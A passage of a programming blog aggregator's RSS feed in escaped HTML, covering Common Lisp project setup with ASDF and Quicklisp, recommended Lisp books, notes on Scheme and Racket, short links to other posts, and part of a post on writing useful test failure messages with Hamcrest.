&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;rest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;cl-ppcre:split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;(\\n+)&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;collect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;cl-ppcre:split&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;(\\s\\s+)&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;line&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Next let's define the system (ASDF-level, similar to a package in Python)
in "cl-docker/cl-docker.asd":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;defsystem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:cl-docker&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="ss"&gt;:depends-on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:cl-ppcre&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="ss"&gt;:serial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="ss"&gt;:components&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="ss"&gt;:file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;package&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;docker&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This defines all the pieces of the system for ASDF: the system name,
the package definition and the component of the package
("cl-docker/docker.lisp"), and tells ASDF to make the "cl-ppcre"
system on disk available to us. We also tell ASDF to process the
components in the order we specified (otherwise it will pick an order
that may not be what we want).&lt;/p&gt;
&lt;p&gt;In preparation for times when we don't have the "cl-ppcre" system (or
any other dependencies) on disk, we always load the system indirectly
through Quicklisp (rather than directly via ASDF) so Quicklisp can
fetch any missing dependencies from its repository of systems.&lt;/p&gt;
&lt;p&gt;But before then -- unless you put this directory in "~/common-lisp" --
you'll need to register the directory containing the directory of your
system definitions so ASDF (and Quicklisp) know where to look if you
ask to load this system.&lt;/p&gt;
&lt;p&gt;To do this, add a ".conf" file to
"~/.config/common-lisp/source-registry.conf.d/" and add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:tree&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;~/path/to/dir/containing/system/dir&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So if you had a repo called "cl-docker" in your "~/projects" directory
that contained the "cl-docker" directory we previously created (that,
in turn, contains the "cl-docker.asd", "package.lisp", and
"docker.lisp" files) then you might create
"~/.config/common-lisp/source-registry.conf.d/1-cl-docker.conf" and
add:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:tree&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;~/projects/cl-docker&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="using-the-system"&gt;Using the system&lt;/h4&gt;&lt;p&gt;Now you can use the library from anywhere on your computer. Enter a
Common Lisp REPL and tell Quicklisp to load the system (and download
any non-local dependencies):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;sbcl
...
*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ql:quickload&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cl-docker&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
To&lt;span class="w"&gt; &lt;/span&gt;load&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cl-docker&amp;quot;&lt;/span&gt;:
&lt;span class="w"&gt;  &lt;/span&gt;Load&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ASDF&lt;span class="w"&gt; &lt;/span&gt;system:
&lt;span class="w"&gt;    &lt;/span&gt;cl-docker
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Loading&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cl-docker&amp;quot;&lt;/span&gt;
..................................................
&lt;span class="o"&gt;[&lt;/span&gt;package&lt;span class="w"&gt; &lt;/span&gt;cl-docker&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cl-docker&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;cl-docker:ps&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And that's it!&lt;/p&gt;
&lt;p&gt;For the complete source of this example package, check out this
&lt;a href="https://gist.github.com/eatonphil/59cdfeb4826c7a12a07d7055f6817a56"&gt;Gist&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="in-conclusion"&gt;In conclusion&lt;/h3&gt;&lt;p&gt;Common Lisp is easy to work with, the packages are many and mature.
Configuring an ASDF package is even simpler than configuring a Python
"setup.py". I didn't demonstrate pinning versions of dependencies in
ASDF, but &lt;a href="https://stackoverflow.com/a/21663603/1507139"&gt;of course&lt;/a&gt;
you can do that too. If any of this -- as simple as it is -- seems
tedious, you can also use Zach Beane's (creator of Quicklisp)
&lt;a href="http://xach.livejournal.com/278047.html"&gt;quickproject&lt;/a&gt; tool to build
out the structure for you.&lt;/p&gt;
&lt;h3 id="resources-for-common-lisp"&gt;Resources for Common Lisp&lt;/h3&gt;&lt;p&gt;You must read &lt;a href="http://www.gigamonkeys.com/book/"&gt;Practical Common
Lisp&lt;/a&gt;. It is freely available
online. It is one of the best resources I keep referring to in
dealing with simple issues (as a new Lisper, I stumble on a lot of
simple issues).&lt;/p&gt;
&lt;p&gt;Paul Graham's &lt;a href="http://www.paulgraham.com/onlisp.html"&gt;On Lisp&lt;/a&gt; is also
a must-read when you want to get a better understanding of macros in
Lisp. It will help you out with macros in Scheme too. This book is
freely available online, but out of print physically. I sent
&lt;a href="https://www.lulu.com/"&gt;Lulu&lt;/a&gt; the PDF and I received my physical copy
for under $20 (including shipping).&lt;/p&gt;
&lt;p&gt;I'm currently making my way through &lt;a href="http://www.cs.cmu.edu/Groups/AI/html/cltl/cltl2.html"&gt;Common Lisp the Language, 2nd
Edition&lt;/a&gt; which I
believe is also freely available online. However I don't really
recommend this unless you are interested in implementing Common Lisp
or are dying to learn the standard library (not a bad idea).&lt;/p&gt;
&lt;p&gt;Finally, Peter Norvig's &lt;a href="https://github.com/norvig/paip-lisp"&gt;Paradigms of Artificial Intelligence
Programming&lt;/a&gt; just recently became
freely available online. I haven't yet read it but I'm queuing it
up. Don't let the title scare you, apparantly it is primarily
considered a practical guide to Common Lisp around
old-school/classical AI that isn't supposed to encumber.&lt;/p&gt;
&lt;p class="note"&gt;
  It
  was &lt;a href="https://twitter.com/HexstreamSoft/status/971419419862847494"&gt;pointed
  out&lt;/a&gt; on Twitter that Paul
  Graham's &lt;a href="http://www.paulgraham.com/acl.html"&gt;ANSI Common
  Lisp&lt;/a&gt; and the
  &lt;a href="http://www.lispworks.com/documentation/lw70/CLHS/Front/Contents.htm"&gt;CLHS&lt;/a&gt;
  are probably better resources for the Common Lisp that exists today
  than Common Lisp the Language 2. CLtL2 is pre-standard.
&lt;/p&gt;&lt;p&gt;Additionally, the &lt;a href="http://lispcookbook.github.io/cl-cookbook/"&gt;Common Lisp
Cookbook&lt;/a&gt; is a great
resource for Common Lisp recipes. It's been around since 2004 (on
Sourceforge) but has been pretty active recently and has been revived
on Github pages.&lt;/p&gt;
&lt;h3 id="on-scheme"&gt;On Scheme&lt;/h3&gt;&lt;p&gt;I've done one or two unremarkable web prototypes in &lt;a href="https://www.call-cc.org/"&gt;Chicken
Scheme&lt;/a&gt;, an R5RS/R7RS Scheme implementation.
I don't think Chicken Scheme is the best bet for the web (I'm mostly
biased to this topic) because it has no native-thread support and
there are lighter interpreters out there that are easier to embed
(e.g. in nginx). Chicken Scheme's "niche" is being a generally
high-quality implementation with a great &lt;a href="http://wiki.call-cc.org/chicken-projects/egg-index-4.html"&gt;collection of 3rd-party
libraries&lt;/a&gt;,
but it is also not the
&lt;a href="https://ecraven.github.io/r7rs-benchmarks/"&gt;fastest&lt;/a&gt; Scheme you could
choose.&lt;/p&gt;
&lt;p&gt;I've worked on a larger web prototype -- a Github issue reporting app
-- in &lt;a href="https://racket-lang.org/"&gt;Racket&lt;/a&gt;, a derivative of Scheme
R6RS. And I've blogged
&lt;a href="http://notes.eatonphil.com/walking-through-a-basic-racket-web-service.html"&gt;favorably&lt;/a&gt;
about Racket. It is a
&lt;a href="https://ecraven.github.io/r7rs-benchmarks/"&gt;high-performance&lt;/a&gt;
interpreter with a JIT compiler, has thread support, and is also well
known for its collection of &lt;a href="https://pkgs.racket-lang.org/"&gt;3rd-party
libaries&lt;/a&gt;. However the Racket ecosystem
&lt;a href="https://fare.livejournal.com/188429.html"&gt;suffers&lt;/a&gt; from the same
issues Haskell's does: libraries and bindings are primarily
proof-of-concept only; missing documentation, tests and use. Trying to
render "templatized" HTML (like Jinja allows for in Flask) without
using S-exp-based syntax was a nightmare.  (Read: there's space for
someone to write a good string templating library.)&lt;/p&gt;
&lt;h4 id="sorry,-racket"&gt;Sorry, Racket&lt;/h4&gt;&lt;p&gt;Last point on Racket (because it really is worth looking into),
debugging in that Github issue project was not fun. The backtraces
were mostly useless. Naively I assume this may have to do with the way
Racket optimizes and rewrites functions. I was often left with zero
context to find and correct my errors. But it could very well be I
was making poor use of Racket.&lt;/p&gt;
&lt;h4 id="on-the-other-hand"&gt;On the other hand&lt;/h4&gt;&lt;p&gt;Common Lisp (its implementations and ecosystem) seems more robust and
developed. SBCL, with it's great performance and native-thread
support, is a promising candidate for backend web development.&lt;/p&gt;
&lt;p&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;I wrote a post on putting together a Common Lisp project. It's easy! I also included some of my favorite CL books and a digression on Scheme. &lt;a href="https://t.co/2LEDoFnAjk"&gt;https://t.co/2LEDoFnAjk&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/commonlisp?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#commonlisp&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/lisp?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#lisp&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/scheme?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#scheme&lt;/a&gt;&lt;/p&gt;&amp;mdash; Phil Eaton (@phil_eaton) &lt;a href="https://twitter.com/phil_eaton/status/971398435856371712?ref_src=twsrc%5Etfw"&gt;March 7, 2018&lt;/a&gt;&lt;/blockquote&gt; &lt;/p&gt;</description><author>Notes on software development</author><pubDate>Mon, 05 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/starting-a-minimal-common-lisp-project.html</guid></item><item><title>Halt and Catch Fire: Season 2</title><link>https://olshansky.info/tv/halt_and_catch_fire_season_2/</link><description>Olshansky's review of Halt and Catch Fire: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 04 Mar 2018 07:34:48 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/halt_and_catch_fire_season_2/</guid></item><item><title>Ceph OSD state machine visualization</title><link>https://makedist.com/posts/2018/03/04/ceph-osd-state-machine-visualization/</link><description>Using clang to extract a state machine diagram from Ceph&amp;rsquo;s C++ implementation.</description><author>Noah Watkins</author><pubDate>Sun, 04 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2018/03/04/ceph-osd-state-machine-visualization/</guid></item><item><title>MongoDb Quick Reference Sheet (Printable)</title><link>https://nitinnain.com/mongodb-quick-reference-sheet-printable/</link><description>I created a MongoDB pdf reference sheet. Here&amp;#8217;s the link to the PDF (my only Medium post as of now, it&amp;#8217;s got some &amp;#8216;likes&amp;#8217;) — https://medium.com/@nitinnain/mongodb-quick-reference-sheet-printable-a30435e191ac</description><author>Nitin Nain</author><pubDate>Sat, 03 Mar 2018 16:51:00 GMT</pubDate><guid isPermaLink="true">https://nitinnain.com/mongodb-quick-reference-sheet-printable/</guid></item><item><title>Software Engineering in 100 Quotes</title><link>https://lucasfcosta.com/blog/Software-Engineering-in-100-Quotes/</link><description>I am not good with words. I feel tempted to say most people aren't. But as an engineer and because I know Akin's first law of spacecraft design:


    Engineering is done with numbers. Analysis witho...</description><author>Lucas F. Costa - Blog</author><pubDate>Sat, 03 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/Software-Engineering-in-100-Quotes/</guid></item><item><title>What Linux "needs to target" is the PAST of its potential users</title><link>https://stop.zona-m.net/2018/03/what-linux-needs-to-target-is-the-past-of-its-potential-users/</link><description>&lt;p&gt;Ouch. Here goes another &amp;ldquo;Linux desktops&amp;rdquo; article that misses a crucial point:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 03 Mar 2018 12:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/what-linux-needs-to-target-is-the-past-of-its-potential-users/</guid></item><item><title>ALL intelligence "needs uncertainty". Not just "Artificial Intelligence"</title><link>https://stop.zona-m.net/2018/03/all-intelligence-needs-uncertainty.-not-just-artificial-intelligence/</link><description>&lt;p&gt;Here is one of the &amp;ldquo;least expected research findings&amp;rdquo; of the century:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 03 Mar 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/all-intelligence-needs-uncertainty.-not-just-artificial-intelligence/</guid></item><item><title>Game Night</title><link>https://olshansky.info/movie/game_night/</link><description>Olshansky's review of Game Night</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 03 Mar 2018 08:43:55 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/game_night/</guid></item><item><title>Black Panther</title><link>https://olshansky.info/movie/black_panther/</link><description>Olshansky's review of Black Panther</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 03 Mar 2018 08:43:50 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/black_panther/</guid></item><item><title>Cobalt Dungeon Dev 03: FL Studio Overview</title><link>https://thomashunter.name/posts/2018-03-03-crossover-dev-03-fl-studio-overview</link><author>Thomas Hunter II</author><pubDate>Sat, 03 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-03-03-crossover-dev-03-fl-studio-overview</guid></item><item><title>Why Are My Tests Failing?</title><link>https://www.mikekasberg.com/blog/2018/03/02/why-are-my-tests-failing.html</link><description>&lt;p&gt;Have you ever tried to diagnose a test failure and had no idea what’s broken?
Maybe you were looking at something like this:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Failed asserting that false is true.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or, equally as bad:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;java.lang.AssertionError
  at ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These are pretty bad failure messages. They have the bare minimum
amount of information you might get from a failing test. They tell you something’s broken,
and probably give you a line number or a stack trace, but that’s all. They don’t
give you very much &lt;em&gt;useful information&lt;/em&gt;. In the spirit of Google’s &lt;a href="https://testing.googleblog.com/search/label/TotT"&gt;Testing on
the Toilet&lt;/a&gt;, this is my own
rant about one way you can make your tests better.&lt;/p&gt;

&lt;!--more--&gt;
&lt;p&gt;Failure messages like those above might have been produced by code like this:&lt;/p&gt;

&lt;div class="language-java highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Test&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;testMyCollection&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asList&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;assertTrue&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The problem is that if &lt;code class="language-plaintext highlighter-rouge"&gt;assertTrue()&lt;/code&gt; fails, no additional information is
provided to the user.
Let’s see if we can clean that up a little. A simple approach is to just add a
failure message:&lt;/p&gt;

&lt;div class="language-java highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;assertTrue&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The list is missing the number 2."&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That makes our test failure message a little more useful:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;java.lang.AssertionError: The list is missing the number 2.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But that’s tedious. Nobody wants to write a message for every assertion. Also,
there will be a tendency for the message to become outdated as the code is
updated. Can we do better?&lt;/p&gt;

&lt;h2 id="matchers"&gt;Matchers&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://hamcrest.org/"&gt;Hamcrest&lt;/a&gt; is a framework that provides matchers for
various data types with nice failure messages. You call &lt;code class="language-plaintext highlighter-rouge"&gt;assertThat(actual,
matcher)&lt;/code&gt; and your object is compared to the Matcher. If the condition isn’t
fulfilled, you get a useful, easy-to-read failure message.&lt;/p&gt;

&lt;div class="language-java highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Test&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;testMyCollection&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asList&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;assertThat&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hasItem&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;java.lang.AssertionError: 
Expected: a collection containing &amp;lt;2&amp;gt;
     but: was &amp;lt;1&amp;gt;, was &amp;lt;3&amp;gt;, was &amp;lt;5&amp;gt;, was &amp;lt;7&amp;gt;, was &amp;lt;9&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Matchers are great because they know how to produce a useful message when a
condition isn’t fulfilled.  The best part about Hamcrest is that matchers are
reusable, and it comes with a lot of them. If it doesn’t have a Matcher you
need, it’s easy to write your own! And Hamcrest isn’t the only framework that
can do this. Other frameworks, like
&lt;a href="https://joel-costigliola.github.io/assertj/"&gt;AssertJ&lt;/a&gt;, work in a very similar
way.&lt;/p&gt;

&lt;h2 id="more-complexity"&gt;More Complexity&lt;/h2&gt;

&lt;p&gt;So far, we’ve looked at a few quick examples, but it’s not always so simple.
Suppose you have some integration tests for an API that are running code like
this:&lt;/p&gt;

&lt;div class="language-java highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;assertEquals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getStatus&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If that test fails, you’ll get a message that looks something like this:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;java.lang.AssertionError:
Expected :200
Actual   :422
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;OK, that’s a little useful… At least you know the API returned a 422 when it
was supposed to return a 200. If you were trying to debug this, would you want
any more information? Personally, I’d want to see the response body. It would
save me a lot of time, since without it I’ll have to debug through this test or
call the API manually to see what went wrong.&lt;/p&gt;

&lt;p&gt;But how to you make the response body show up when the test fails? Hamcrest (at
least as we’ve used it so far, without custom Matchers) won’t help you here,
since you’re already getting a reasonable message for the integer comparison.
What we need is to add more info to the message. That’s easy enough:&lt;/p&gt;

&lt;div class="language-java highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;assertEquals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBody&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getStatus&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s better. Now, we can see the body of the HTTP response in our failing
test:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;java.lang.assertionError: ID is a required parameter, but no ID was provided.
Expected :200
Actual   :422
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This message gives us much more information about what is wrong with the system
we’re testing. It &lt;em&gt;saves us time&lt;/em&gt; when we’re trying to debug a problem, and that
can be incredibly valuable when it helps your team iterate quicker. If you find
yourself doing things like this often, it might make sense to look for a library
to help with it, or write your own matcher that can automatically parse the
response body (or status code, headers, etc.) out of an HTTPResponse.&lt;/p&gt;

&lt;p&gt;What we’ve talked about so far is only the tip of the iceberg. What kind of
failure message is most useful when comparing large blobs of JSON? CSVs?
Selenium pages? As you include more matchers in your codebase, patterns will
begin to emerge. You’ll learn what information is most relevant for particular
types of failures, and you’ll make that information quickly available. Over
time, these patterns can help you transform your test suite into a really
powerful test harness that matches perfectly with the unit you’re testing.&lt;/p&gt;

&lt;h2 id="so-what"&gt;So What?&lt;/h2&gt;

&lt;p&gt;So what’s the point?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tl;dr:&lt;/strong&gt; Make sure your unit and integration tests print useful information
when they fail. It will save you time in the long run.&lt;/p&gt;

&lt;p&gt;That sounds like it’s really simple, but it’s easy to forget about it when you
just want to write a quick test and move on to the next piece of code. TDD can
help with this - if you watch a test fail before you watch it pass, you have a
great opportunity to improve the failure message if it needs more info.&lt;/p&gt;

&lt;p&gt;We can break all of this down into a few simple points:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Always include some a useful failure message with your tests.&lt;/li&gt;
  &lt;li&gt;Always watch your tests fail (not just pass!) at least once, so you can see
the message that a failure produces and determine if it is useful.&lt;/li&gt;
  &lt;li&gt;It’s fine to use normal Assert methods, like &lt;code class="language-plaintext highlighter-rouge"&gt;Assert.assertEquals(expected, actual)&lt;/code&gt;,
